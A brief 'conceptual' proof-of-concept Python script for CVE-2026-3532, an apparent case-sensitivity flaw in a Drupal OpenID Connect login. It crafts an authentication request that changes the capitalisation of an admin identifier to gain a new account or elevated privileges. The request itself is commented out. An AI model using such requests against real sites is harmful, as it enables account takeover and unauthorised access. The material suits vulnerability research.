The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-3532
# This script demonstrates the logic of exploiting case sensitivity.
# Actual exploit depends on specific IdP configuration.
import requests
target_url = "https://example-drupal-site.com"
# Assume the legitimate admin username is 'admin'
# Attacker crafts an authentication request with 'Admin'
payload = {
"client_id": "vulnerable_client_id",
"response_type": "code",
"scope": "openid email profile",
"redirect_uri": "https://example-drupal-site.com/callback",
# The malicious part: changing case of the identifier
"login_hint": "[email protected]"
}
print(f"Sending crafted authentication request to {target_url}...")
# response = requests.post(target_url + "/openid/connect/authenticate", data=payload)
print("If vulnerable, the system may treat 'Admin' as a new user or elevate privileges.")